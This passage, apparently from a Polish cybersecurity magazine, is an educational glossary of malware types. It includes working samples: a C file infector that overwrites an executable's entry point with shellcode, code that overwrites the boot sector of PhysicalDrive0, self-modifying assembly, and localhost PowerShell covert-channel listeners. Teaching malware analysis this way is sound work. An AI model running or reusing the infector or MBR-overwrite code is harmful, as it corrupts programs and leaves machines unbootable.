ethical
Podstawowe rodzaje wirusów komputerowych i malware
Spis treści
- Wirus komputerowy
- Złośliwe oprogramowanie (ang. malware)
- Oprogramowanie antywirusowe
- Tradycyjne wirusy komputerowe
- Bakteria (ang. bacteria)
- Robaki (ang. worm)
- Złośliwe reklamy (ang. adware)
- Bezplikowe złośliwe oprogramowanie (ang. fileless malware)
- Tylne drzwi w oprogramowaniu (ang. software backdoor)
- Tylne drzwi w sprzęcie (ang. hardware backdoor)
- Ukryte przejście (ang. trapdoor)
- Niebezpieczny wyzwalacz logiczny (ang. logic bomb)
- Niebezpieczny wyzwalacz czasowy (ang. time bomb)
- Ukryty kanał komunikacyjny (ang. covert channel)
- Sieć komputerów zombie (ang. botnet)
- Program szyfrujący złośliwy kod (ang. crypter)
- Program wspomagający omijanie rozwiązań defensywnych (ang. evader)
- Program zaciemniający złośliwy kod (ang. obfuscator)
- Złośliwy kopacz kryptowalut (ang. miner)
- Program uzyskujący złośliwy kod z sieci (ang. downloader)
- Program lub skrypt uruchamiający kolejny etap infekcji (ang. stager)
- Program wykorzystujący błąd programisty (ang. exploit)
- Program kradnący dane z formularzy (ang. form grabber)
- Program rejestrujący wciskane klawisze (ang. keylogger)
- Program wymuszający zapłatę w zamian za odzyskanie zaszyfrowanych danych (ang. ransomware)
- Program wymuszający zapłatę w zamian za nieujawnienie informacji wrażliwych (ang. doxware)
- Program zdalnego dostępu typu RAT (ang. remote access trojan)
- Program ukrywający złośliwy implant w systemie (ang. rootkit)
- Złośliwy kod w programie rozruchowym (ang. bootkit)
- Oprogramowanie szpiegujące (ang. spyware)
- Kod powłoki (ang. shellcode)
- Powłoka internetowa (ang. webshell)
- Program kradnący informacje (ang. information stealer)
- Program pełniący rolę centrum dowodzenia (ang. command and control framework)
- Niebezpieczna dekompresja (ang. zip bomb)
- Silnik polimorficzny (ang. polymorphic engine)
- Program wymazujący dane (ang. wiper)
- Generatory wirusów (ang. virus generator)
- Generatory złośliwego oprogramowania (ang. malware builder)
- Narzędzia hakerskie (ang. hack tool)
- Programy kompresujące pliki wykonywalne (ang. packer)
Wirus komputerowy
Termin virus w języku łacińskim oznacza jad, truciznę. Można jednoznacznie stwierdzić, że słowo jest naładowane negatywnymi emocjami. W sensie biologicznym wirusy istnieją po to, aby się replikować. Wnikają do organizmu i mnożą swoje cząsteczki. W systemach informatycznych jest podobnie. Wirus komputerowy istnieje po to, aby doklejać swój kod do innych programów. Istnieją też aplikacje, które są szkodliwe, ale nie dokonują replikacji swojego kodu. Można wtedy stosować bardziej ogólne określenie, czyli złośliwe oprogramowanie (ang. malware).
Złośliwe oprogramowanie (ang. malware)
Określenie malware przyjęło się w celu nazywania wszelkich programów komputerowych, które zostały stworzone do czynienia zła.
Etymologia słowa mal–
Mal– oznacza zło, chorobę, pójście w złym kierunku.
Przykładowa sentencja
...sed libera nos a malo. Amen.
...ale zbaw nas ode złego. Amen.
Oprogramowanie antywirusowe
Programy obronne są dopasowywane zgodnie z rodzajem chronionych zasobów. Rozwiązania wystarczające dla użytkowników indywidualnych czy urządzeń domowych najprawdopodobniej okazały by się całkowicie nieskuteczne w rozległych przedsiębiorstwach, które poza rozwiązaniami programowymi potrzebują analityków i zespołów specjalistów.
Jednym z podstawowych modułów oprogramowania antywirusowego jest skaner. W prostych słowach wyszukuje on w plikach i pamięci operacyjnej wzorców binarnych specyficznych dla złośliwego oprogramowania. Rozpoznawanie niebezpiecznych fragmentów jest możliwe dzięki bazie sygnatur opracowywanej na podstawie przeanalizowanych wcześniej zagrożeń.
Istnieją również heurystyczne techniki analizy, które mają na celu rozpoznanie nieznanych zagrożeń. W tym celu program antywirusowy np. wykonuje symulację, aby uzyskać informacje jakie zmiany mogą zostać wprowadzone w systemie i na tej podstawie oznacza program jako złośliwy lub nie. Może weryfikować też cechy pliku, układ sekcji, punkt wejścia, poziom entropii etc.
Warto wspomnieć o fałszywych wynikach pozytywnych (ang. false positive), które oznaczają, że niewinny program został oznaczony jako złośliwy. Istnieje też fałszywy wynik negatywny (ang. false negative), który oznacza, że złośliwy program został oznaczony jako czysty.
Tradycyjne wirusy komputerowe
Tradycyjny wirus komputerowy do replikacji wymaga „organizmu” gospodarza, czyli innego programu komputerowego. Wirus komputerowy w swoim kodzie posiada zazwyczaj mechanizm wyszukujący obiekty, które mają być zainfekowane (pliki) oraz ładunek (ang. payload), który jest odpowiedzialny za złośliwą operację.
Wirus infekujący pliki wykonywalne
Infekcja pliku wykonywalnego wymaga znajomości formatu Portable Executable (PE)[1] dla systemów z rodziny Windows oraz Executable and Linkable Format (ELF)[2] dla systemów z rodziny Linux. Często nietypowe modyfikacje to łatwe do rozpoznania anomalie i dzięki temu programy obronne mogą oznaczyć tego rodzaju pliki jako podejrzane (ang. suspicious).
#include <Windows.h>
int WINAPI WinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nShowCmd)
{
LPCWSTR infectionTarget = LR"(C:\Users\ethicalblue\Desktop\sample.exe)";
HANDLE hFile = CreateFileW(infectionTarget,
GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE,
0, OPEN_EXISTING, 0, 0);
if (hFile == INVALID_HANDLE_VALUE)
ExitProcess(-1);
DWORD dwReadWritten = 0;
DWORD dwFileSize = GetFileSize(hFile, 0);
LPVOID pFileData = HeapAlloc(GetProcessHeap(), 0, dwFileSize);
BOOL succeed = ReadFile(hFile, pFileData, dwFileSize, &dwReadWritten, 0);
if (succeed == FALSE)
ExitProcess(-1);
PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)pFileData;
if (pDosHeader == NULL)
ExitProcess(-1);
if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
ExitProcess(-1);
PIMAGE_NT_HEADERS64 pNtHeaders = (PIMAGE_NT_HEADERS64)((ULONGLONG)pDosHeader + pDosHeader->e_lfanew);
if (pNtHeaders == NULL)
ExitProcess(-1);
if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE)
ExitProcess(-1);
PIMAGE_SECTION_HEADER pSectionHeaders = IMAGE_FIRST_SECTION(pNtHeaders);
PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNtHeaders);
for (INT i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeader = &pSectionHeaders[i];
if (pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE)
break;
}
BYTE msgBox[] {
0x55, 0x53, 0x57, 0x56, 0x54, 0x41, 0x54, 0x41, 0x55, 0x41, 0x56, 0x41,
0x57, 0x65, 0x4C, 0x8B, 0x14, 0x25, 0x60, 0x00, 0x00, 0x00, 0x4D, 0x8B,
0x52, 0x18, 0x4D, 0x8B, 0x5A, 0x20, 0x4D, 0x8B, 0x13, 0x4D, 0x8B, 0x1A,
0x49, 0x8B, 0x5B, 0x20, 0x44, 0x8B, 0x4B, 0x3C, 0x4C, 0x03, 0xCB, 0x49,
0x81, 0xC1, 0x88, 0x00, 0x00, 0x00, 0x45, 0x8B, 0x19, 0x4E, 0x8D, 0x04,
0x1B, 0x41, 0x8B, 0x48, 0x18, 0x45, 0x8B, 0x60, 0x20, 0x4C, 0x03, 0xE3,
0x4D, 0x8D, 0x14, 0x8C, 0x41, 0x8B, 0x3A, 0x48, 0x03, 0xFB, 0x48, 0x8D,
0x35, 0xC9, 0x00, 0x00, 0x00, 0xA6, 0x75, 0x08, 0x8A, 0x06, 0x84, 0xC0,
0x74, 0x05, 0xEB, 0xF5, 0xE2, 0xE2, 0xC3, 0x45, 0x8B, 0x50, 0x24, 0x4C,
0x03, 0xD3, 0x66, 0x41, 0x8B, 0x0C, 0x4A, 0x45, 0x8B, 0x50, 0x1C, 0x4C,
0x03, 0xD3, 0x41, 0x8B, 0x04, 0x8A, 0x48, 0x03, 0xC3, 0x4C, 0x8B, 0xF8,
0x48, 0xC7, 0xC1, 0x61, 0x72, 0x79, 0x41, 0x51, 0x48, 0xB9, 0x4C, 0x6F,
0x61, 0x64, 0x4C, 0x69, 0x62, 0x72, 0x51, 0x48, 0x8B, 0xD4, 0x48, 0x8B,
0xCB, 0x48, 0x83, 0xEC, 0x30, 0xFF, 0xD0, 0x48, 0x83, 0xC4, 0x40, 0x48,
0x8B, 0xF8, 0x48, 0xC7, 0xC1, 0x6C, 0x6C, 0x00, 0x00, 0x51, 0x48, 0xB9,
0x75, 0x73, 0x65, 0x72, 0x33, 0x32, 0x2E, 0x64, 0x51, 0x48, 0x8B, 0xCC,
0x48, 0x83, 0xEC, 0x30, 0xFF, 0xD7, 0x48, 0x83, 0xC4, 0x40, 0x4C, 0x8B,
0xF0, 0x48, 0xC7, 0xC1, 0x6F, 0x78, 0x41, 0x00, 0x51, 0x48, 0xB9, 0x4D,
0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x42, 0x51, 0x48, 0x8B, 0xD4, 0x49,
0x8B, 0xCE, 0x48, 0x83, 0xEC, 0x28, 0x41, 0xFF, 0xD7, 0x48, 0x83, 0xC4,
0x38, 0x4C, 0x8B, 0xE8, 0x48, 0x83, 0xEC, 0x30, 0x4D, 0x33, 0xC9, 0x4C,
0x8D, 0x05, 0x2F, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x15, 0x28, 0x00, 0x00,
0x00, 0x48, 0x33, 0xC9, 0x41, 0xFF, 0xD5, 0x48, 0x83, 0xC4, 0x30, 0x41,
0x5F, 0x41, 0x5E, 0x41, 0x5D, 0x41, 0x5C, 0x5C, 0x5E, 0x5F, 0x5B, 0x5D,
0xEB, 0x25, 0x47, 0x65, 0x74, 0x50, 0x72, 0x6F, 0x63, 0x41, 0x64, 0x64,
0x72, 0x65, 0x73, 0x73, 0x00, 0x65, 0x74, 0x68, 0x69, 0x63, 0x61, 0x6C,
0x2E, 0x62, 0x6C, 0x75, 0x65, 0x20, 0x4D, 0x61, 0x67, 0x61, 0x7A, 0x69,
0x6E, 0x65, 0x00, 0xC3
};
ULONG offset = pNtHeaders->OptionalHeader.AddressOfEntryPoint - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;
DWORD dwResult = SetFilePointer(hFile, offset, NULL, FILE_BEGIN);
if (dwResult == INVALID_SET_FILE_POINTER)
ExitProcess(-1);
succeed = WriteFile(hFile, msgBox, sizeof(msgBox), &dwReadWritten, 0);
if (succeed == FALSE)
ExitProcess(-1);
HeapFree(GetProcessHeap(), NULL, pFileData);
CloseHandle(hFile);
ExitProcess(0);
}
Wirus nadpisujący
Infekcja przeprowadzona przez nadpisanie kodu pliku wykonywalnego uszkadza program zastępując go kodem wirusa.
Bardzo często sekcja kodu jest pierwsza, ale nie zawsze. W celu znalezienia sekcji z kodem można przejść pętlą po wszystkich sekcjach sprawdzając charakterystykę.
for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++)
{
pSectionHeader = &pSectionHeaders[i];
if (pSectionHeader->Characteristics & IMAGE_SCN_CNT_CODE)
break;
}
Początek sekcji z kodem można uzyskać przez formułę:
pNtHeaders->OptionalHeader.AddressOfEntryPoint - pSectionHeader->VirtualAddress + pSectionHeader->PointerToRawData;
Teraz wystarczy pod tym przesunięciem (ang. offset) umieścić kod maszynowy ładunku (ang. shellcode/payload).
Wirus infekujący pusty obszar w pliku
W pliku wykonywalnym mogą istnieć puste miejsca nazywane code caves. Jeśli istnieje takie miejsce i jest wystarczające, aby zmieścić kod ładunku (ang. shellcode/payload), to następuje infekcja i przekierowanie sterowania w to miejsce np. rozkazem skoku bezwarunkowego.
Wirus doklejający się na końcu pliku
Możliwe jest też umieszczenie kodu ładunku (ang. shellcode/payload) w ostatniej sekcji i zmiana AddressOfEntryPoint. Jednak taki układ jest często oznaczany jako anomalia.
Wirus infekujący pliki dokumentów
Niektóre rodzaje programów biurowych pozwalają na umieszczanie w plikach skryptów i/lub makr, co pozwala na infekowanie dokumentów.
Wirus infekujący sektor zerowy dysku
Nadpisanie programu rozruchowego (ang. bootloader) własnym kodem uniemożliwi normalny start systemu operacyjnego.
;tasm.exe program.asm
;tlink.exe program.obj
.model small
.code
org 7C00h
start:
mov ax, 0600h
mov bh, 1Fh
mov cx, 0000h
mov dx, 184Fh
int 10h
mov ah, 02h
sub bh, bh
mov dh, 01h
mov dl, 01h
int 10h
lea si, ethical
cld
_loop:
mov al, [si]
test al, al
jz _quit
mov ah, 0Eh
int 10h
inc si
jmp _loop
_quit:
mov ah, 0
int 16h
hlt
ethical db 0Dh, 0Ah
db " _ _ _ _ _ _ ", 0Dh, 0Ah
db " | | | | (_) | | | | | | ", 0Dh, 0Ah
db " ___| |_| |__ _ ___ __ _| | | |__ | |_ _ ___ ", 0Dh, 0Ah
db " / _ \ __| '_ \| |/ __/ _` | | | '_ \| | | | |/ _ \", 0Dh, 0Ah
db " | __/ |_| | | | | (_| (_| | |_| |_) | | |_| | __/", 0Dh, 0Ah
db " \___|\__|_| |_|_|\___\__,_|_(_)_.__/|_|\__,_|\___|", 0Dh, 0Ah
db " Magazine ", 0Dh, 0Ah
db " // Cybersecurity clarified.", 0Dh, 0Ah, 0Dh, 0Ah
db " Sector Zero has been corrupted. o_O ", 0Dh, 0Ah
db 00h, 00h, 00h, 55h, 0AAh
end start
#include <Windows.h>
int WINAPI WinMain(
_In_ HINSTANCE hInstance,
_In_opt_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nShowCmd)
{
constexpr BYTE corruptedSector[]
{
0xB8, 0x00, 0x06, 0xB7, 0x1F, 0xB9, 0x00, 0x00, 0xBA, 0x4F, 0x18, 0xCD,
0x10, 0xB4, 0x02, 0xB7, 0x00, 0xB6, 0x01, 0xB2, 0x01, 0xCD, 0x10, 0xBE,
0x2D, 0x7C, 0xFC, 0x8A, 0x04, 0x84, 0xC0, 0x74, 0x07, 0xB4, 0x0E, 0xCD,
0x10, 0x46, 0xEB, 0xF3, 0xB4, 0x00, 0xCD, 0x16, 0xF4, 0x0D, 0x0A, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20,
0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x20,
0x20, 0x20, 0x5F, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C,
0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x28, 0x5F, 0x29,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C,
0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x0D, 0x0A, 0x20,
0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C,
0x5F, 0x5F, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x5F, 0x5F, 0x5F, 0x20, 0x5F,
0x5F, 0x20, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x5F,
0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x20, 0x20, 0x20, 0x5F, 0x20, 0x20, 0x5F,
0x5F, 0x5F, 0x20, 0x0D, 0x0A, 0x20, 0x20, 0x2F, 0x20, 0x5F, 0x20, 0x5C,
0x20, 0x5F, 0x5F, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C,
0x2F, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x5F, 0x60, 0x20, 0x7C, 0x20, 0x7C,
0x20, 0x7C, 0x20, 0x27, 0x5F, 0x20, 0x5C, 0x7C, 0x20, 0x7C, 0x20, 0x7C,
0x20, 0x7C, 0x20, 0x7C, 0x2F, 0x20, 0x5F, 0x20, 0x7C, 0x0D, 0x0A, 0x20,
0x7C, 0x20, 0x20, 0x5F, 0x5F, 0x2F, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C,
0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x20, 0x28, 0x5F, 0x7C, 0x20, 0x28,
0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x29,
0x20, 0x7C, 0x20, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x20, 0x20,
0x5F, 0x5F, 0x2F, 0x0D, 0x0A, 0x20, 0x20, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C,
0x5C, 0x5F, 0x5F, 0x7C, 0x5F, 0x7C, 0x20, 0x7C, 0x5F, 0x7C, 0x5F, 0x7C,
0x5C, 0x5F, 0x5F, 0x5F, 0x5C, 0x5F, 0x5F, 0x2C, 0x5F, 0x7C, 0x5F, 0x28,
0x5F, 0x29, 0x5F, 0x2E, 0x5F, 0x5F, 0x2F, 0x7C, 0x5F, 0x7C, 0x5C, 0x5F,
0x5F, 0x2C, 0x5F, 0x7C, 0x5C, 0x5F, 0x5F, 0x5F, 0x7C, 0x0D, 0x0A, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20,
0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x4D, 0x61, 0x67, 0x61, 0x7A, 0x69,
0x6E, 0x65, 0x20, 0x0D, 0x0A, 0x20, 0x2F, 0x2F, 0x20, 0x43, 0x79, 0x62,
0x65, 0x72, 0x73, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x79, 0x20, 0x63,
0x6C, 0x61, 0x72, 0x69, 0x66, 0x69, 0x65, 0x64, 0x2E, 0x0D, 0x0A, 0x0D,
0x0A, 0x20, 0x53, 0x65, 0x63, 0x74, 0x6F, 0x72, 0x20, 0x5A, 0x65, 0x72,
0x6F, 0x20, 0x68, 0x61, 0x73, 0x20, 0x62, 0x65, 0x65, 0x6E, 0x20, 0x63,
0x6F, 0x72, 0x72, 0x75, 0x70, 0x74, 0x65, 0x64, 0x2E, 0x20, 0x6F, 0x5F,
0x4F, 0x20, 0x0D, 0x0A, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x55, 0xAA
};
auto drive = CreateFile(LR"(\\.\PhysicalDrive0)",
GENERIC_ALL, FILE_SHARE_READ | FILE_SHARE_WRITE,
0, OPEN_EXISTING, 0, 0);
// ...
DWORD dwReadWritten { 0 };
WriteFile(drive, corruptedSector, 512, &dwReadWritten, 0);
// ...
CloseHandle(drive);
ExitProcess(0);
}
Wirus infekujący kod źródłowy
Infekcja kodu źródłowego często jest połączona z atakiem na łańcuch dostaw[3].
Wirusy polimorficzne, czyli modyfikacja własnego kodu
Polimorfizm, czyli wielopostaciowość ma na celu utrudnić dopasowanie wzorców binarnych oraz zmylić statyczne skanery. Ładunek (ang. payload) to często bajty kodu maszynowego, więc można je szyfrować, wymazywać czy nawet przenosić w inne obszary pamięci.
extrn MessageBoxA : proc
extrn VirtualProtect : proc
extrn ExitProcess : proc
.const
PAGE_EXECUTE_READWRITE equ 040h
ProcInfo struct
bodyStart dq 0
bodyEnd dq 0
bodySize dq 0
ProcInfo ends
.data
szCaption db "ethical.blue", 0
szText db "Self-erasing code sample.", 0
oldProtect dd 0
procInfo1 ProcInfo <0,0,0>
.code
MyProc1 proc
mov rax, offset _ERASE_START
mov [procInfo1.bodyStart], rax
push rbp
mov rbp, rsp
_ERASE_START:
sub rsp, 30h
xor r9, r9
lea r8, szCaption
lea rdx, szText
xor rcx, rcx
call MessageBoxA
add rsp, 30h
_ERASE_END:
leave
mov rcx, offset _ERASE_END
dec rcx
mov [procInfo1.bodyEnd], rcx
sub rcx, qword ptr [procInfo1.bodyStart]
mov [procInfo1.bodySize], rcx
ret
MyProc1 endp
Main proc
;sample procedure
sub rsp, 28h
call MyProc1
;get write access to memory block
mov r9, offset oldProtect
mov r8, PAGE_EXECUTE_READWRITE
mov rdx, [procInfo1.bodySize]
mov rcx, qword ptr [procInfo1.bodyStart]
call VirtualProtect
;erase procedure body (fill with NOPs)
mov rdx, [procInfo1.bodyStart]
xor rcx, rcx
@@:
mov byte ptr [rdx + rcx * sizeof byte], 90h
inc rcx
cmp rcx, [procInfo1.bodySize]
jle @b
;sample procedure (after erasing)
call MyProc1
xor rcx, rcx
call ExitProcess
Main endp
end
Bakteria (ang. bacteria)
Program typu bakteria w krótkim czasie potrafi wyczerpać miejsce na dysku urządzenia.
Robaki (ang. worm)
Tradycyjny wirus komputerowy wykorzystuje pliki (inne programy) jako medium do replikacji. Z drugiej strony robak wykorzystuje sieć do replikacji i infekcji. Może skanować urządzenia pod kątem różnych luk w zabezpieczeniach lub wypróbowywać domyślne hasła, mając nadzieję, że użytkownik ma słabe hasło do określonej usługi.
Jeśli podatność (ang. vulnerability) pozwala na automatyczną infekcję przez sieć, to mówi się, że jest wormable.
Złośliwe reklamy (ang. adware)
Adware oznacza oprogramowanie reklamowe. Ten rodzaj oprogramowania zawiera reklamy, ale często te reklamy nie są subtelne. Tego rodzaju aplikacje można często zaliczyć do kategorii PUA (potencjalnie niechciana aplikacja). Czasami adware jest połączone z oprogramowaniem szpiegującym w celu rejestrowania działań użytkownika.
Bezplikowe złośliwe oprogramowanie (ang. fileless malware)
Bezplikowe złośliwe oprogramowanie może wykonać złośliwy kod bez dotykania dysku twardego. Ma to szczególne znaczenie w przypadku pokonywania bardziej zaawansowanych programów obronnych, gdzie ślad na dysku urządzenia oznaczany jest jako wskaźnik infekcji (IoC) i wywołuje alarm w centrum operacji bezpieczeństwa (SOC).
Odpowiednio przeprowadzony atak z użyciem fileless malware może pozwolić ominąć oprogramowanie zabezpieczające. Całe wykonanie złośliwego kodu odbywa się w pamięci operacyjnej. Jak to się dzieje? Często za pomocą legalnych programów, takich jak na przykład PowerShell czy programów typu LOLBin (Living off the Land Binary) czyli neutralnych komponentów zawartych w systemie operacyjnym, ale użytych w złym celu. Przykładowe ładunki mogą zawierać np.: jednolinijkowy kod w PowerShell, polecenia cmd.exe, wywołania funkcji bibliotek .dll przez rundll32.exe, skrypty Visual Basic i inne uruchamiane przez wscript.exe (Windows Script Host) czy też kompilację kodu źródłowego „w locie” (ang. on the fly) za pomocą csc.exe (Visual C# Compiler).
Tylne drzwi w oprogramowaniu (ang. software backdoor)
Podmiot zagrażający (ang. threat actor) może pozostawić w systemie ukryte wejście, które pozwoli mu w przyszłości uzyskać dostęp do skompromitowanego systemu lub aplikacji. Nazywane jest to słowami trwały dostęp (ang. persistence)[4]. Backdoora może też pozostawić autor programu, aby np. szpiegować użytkowników.
Tylne drzwi w sprzęcie (ang. hardware backdoor)
Ukryta złośliwa funkcjonalność dotyczy też sprzętu, czyli urządzeń.
Ukryte przejście (ang. trapdoor)
Ukryty fragment kodu pozwalający na ominięcie domyślnego systemu autoryzacji nazywany jest ukrytym przejściem (ang. trapdoor)[5]. Na przykład: Urządzenie standardowo wymaga kodu PIN do zmiany ustawień, ale wciśnięcie pięć razy przycisku pomija ekran logowania. Jest to bardzo niebezpieczna praktyka, ponieważ wyciek informacji o tego rodzaju funkcjonalności narusza bezpieczeństwo całej serii urządzeń.
Niebezpieczny wyzwalacz logiczny (ang. logic bomb)
Program posiada warunek i gdy jest on spełniony, ładunek (ang. payload) jest wykonywany. Wyzwalacze mogą opierać się na istnieniu określonego pliku, wciśnięciu przycisku, wykrycia obecności danego narzędzia itp.
Niebezpieczny wyzwalacz czasowy (ang. time bomb)
Wyzwalacz czasowy dotyczy uruchomienia kodu ładunku (ang. payload) o określonym czasie.
Przykład. Podmiot zagrażający (ang. threat actor) zaszyfrował bajty ładunku (ang. payload) hasłem w postaci daty systemowej w formacie rrrr-MM-dd.
Rozwiązanie tego rodzaju może spowodować, że środowiska do automatycznej analizy oznaczą plik jako czysty, złośliwy kod pozostanie dłużej niewykryty, a zaciemnione (ang. obfuscated) bajty ujawnią się dopiero określonego dnia.
Ukryty kanał komunikacyjny (ang. covert channel)
Podmioty zagrażające (ang. threat actor) przy próbie eksfiltracji danych w niezauważalny sposób mogą używać protokołów inaczej, niż zostało to przewidziane. Przerwy między poszczególnymi fragmentami przesyłanych danych mogą być losowe (ang. jitter), a same dane przesyłane tak, aby nie wzbudziły podejrzeń w przypadku monitorowania ruchu sieciowego.
Ukryta komunikacja protokołem HTTP/HTTPS
W ramach eksperymentu uruchamiamy nasłuchiwanie na porcie 12345 i wyświetlamy odebrane dane na konsoli tekstowej.
$z=[System.Net.HttpListener]::new();$z.Prefixes.Add("http://+:12345/");$z.Start();while($z.IsListening){$c=$z.GetContext();Write-Output($c.Request);$c.Response.Close();}
Teraz, jeśli odwiedzimy w przeglądarce internetowej adres http://[::1]:12345/ na konsoli tekstowej powinno się wyświetlić nowe żądanie (ang. request).
Można też wysyłać żądania do nasłuchującego agenta np. poleceniem Invoke-WebRequest.
Invoke-WebRequest -Uri http://[::1]:12345/ -UserAgent EthicalBlueMagazine -Body "Knock, knock."
Ukryta komunikacja protokołem DNS
W przypadku ograniczeń w użyciu innych protokołów podmioty zagrażające (ang. threat actor) mogą próbować przeprowadzić komunikację za pomocą wpisów DNS. Z tego powodu zapytania DNS powinny być weryfikowane pod kątem podejrzanego ruchu, a szczególną uwagę należy zwrócić na wpisy z niskim TTL.
Zawartość rekordu DNS można pobrać np. za pomocą PowerShell poleceniem:
Resolve-DnsName -Name experimental.ethical.blue -Type TXT | Select -ExpandProperty "Strings";
Ukryta komunikacja protokołem DNS over HTTPS (DoH)
Zapytania do serwera DNS można zabezpieczyć szyfrowaniem. W przypadku systemu operacyjnego Windows należy znaleźć Ustawienia > Sieć i Internet > Wi-Fi > Właściwości sprzętu i w polu Przypisanie serwera DNS należy kliknąć Edytuj i wybrać Ręczne.
Ukryta komunikacja protokołem TCP
Nasłuchiwanie na połączenie i przesyłanie poleceń można przeprowadzić za pomocą klasy TcpListener co prezentuje prosty przykład przedstawiony poniżej.
$z=[System.Net.Sockets.TcpListener]::new([System.Net.IPAddress]::Any, 12345);$z.Start();while($true){$c=$z.AcceptTcpClient();$s=$c.GetStream();$r=[System.IO.StreamReader]::new($s, [System.Text.Encoding]::ASCII);$m=$r.ReadLine();Write-Host $m;}
Połączenie można nawiązać klasą TcpClient. Prosty przykład poniżej prezentuje połączenie i wysłanie polecenia przez TCP.
$c=[System.Net.Sockets.TcpClient]::new('127.0.0.1', 12345);$s=$c.GetStream();$w=[System.IO.StreamWriter]::new($s);$w.AutoFlush=$true;if ($c.Connected){$w.WriteLine('ethical.blue Magazine');}$w.Close();
Rezultat z przeprowadzonego eksperymentu można zobaczyć na rysunku poniżej.
Sieć komputerów zombie (ang. botnet)
Termin botnet można najprościej zdefiniować jako sieć komputerów zainfekowanych złośliwym oprogramowaniem, które pozwala złemu hakerowi (istnieją też dobrzy, etyczni hakerzy) na sterowanie skompromitowanymi maszynami. Warto zaznaczyć, że jeśli ktoś wgra nawet na kilkadziesiąt komputerów konia trojańskiego, to słowo botnet jest określeniem ponad miarę. Mały botnet zaczyna się, gdy zainfekowane jest od kilkuset do kilku tysięcy maszyn. Historia może poświadczyć, że armia komputerów zombie potrafiła rozrosnąć się do liczby milionów botów.
Idąc tym tropem można wywnioskować, że zamiary złego hakera są inne, gdy stosowany jest Remote Access Trojan i celem jest mniejsza liczba komputerów, niż podczas masowej infekcji. Jeśli zły haker przejmie kontrolę nad mniejszą liczbą maszyn, to może pozwolić sobie na ręczne przeglądanie plików czy inne indywidualne akcje. Natomiast szkodliwe działania zmieniają się, gdy mowa jest o dziesiątkach tysięcy maszyn lub więcej. Możliwe jest wtedy skuteczne wykonanie rozproszonego ataku odmowy usługi (ang. Distributed Denial of Service) powodującego np. wyłączenie określonej witryny internetowej. Jako najprostszy do wyobrażenia przykład można podać tutaj platformę sprzedażową. Wyłączenie witryny równa się zatrzymaniu sprzedaży, czyli brak zysku i straty.
Jako podstawowe rodzaje kanałów komunikacyjnych botnetu można wymienić m.in.:
— użycie serwera centralnego (topologia scentralizowana),
— komunikacja bezpośrednia p2p (ang. peer-to-peer),
— inny nietypowy kanał komunikacji.
Zastosowanie serwera centralnego wyróżnia się tym, że łatwo taką architekturę zaprojektować.
Zastosowanie architektury bazującej na połączeniu bezpośrednim typu P2P (ang. peer-to-peer, pol. każdy do każdego) zapewnia decentralizację. Oznacza to, że przerwanie działania botnetu może być utrudnione ze względu na rozproszenie.
Istnieją również inne, mniej typowe kanały komunikacji jak np. taki, że jeden bot „wie o istnieniu” tylko jednego, innego bota. Można to porównać do przekazywania wiadomości dalej i dalej, czyli losowego skanowania, aż natrafi się na bota. Jest to rozwiązanie zdecentralizowane i powinno zapewnić długie przetrwanie botnetu, jednak atakujący może spodziewać się gubienia poleceń czy opóźnień w ich dostarczaniu.
Connect & Forget
Metoda Connect & Forget polega na tym, że poszczególne boty łączą się z panelem sterowania zostawiając informacje o sobie potrzebne do nawiązania połączenia.
File/URL-based
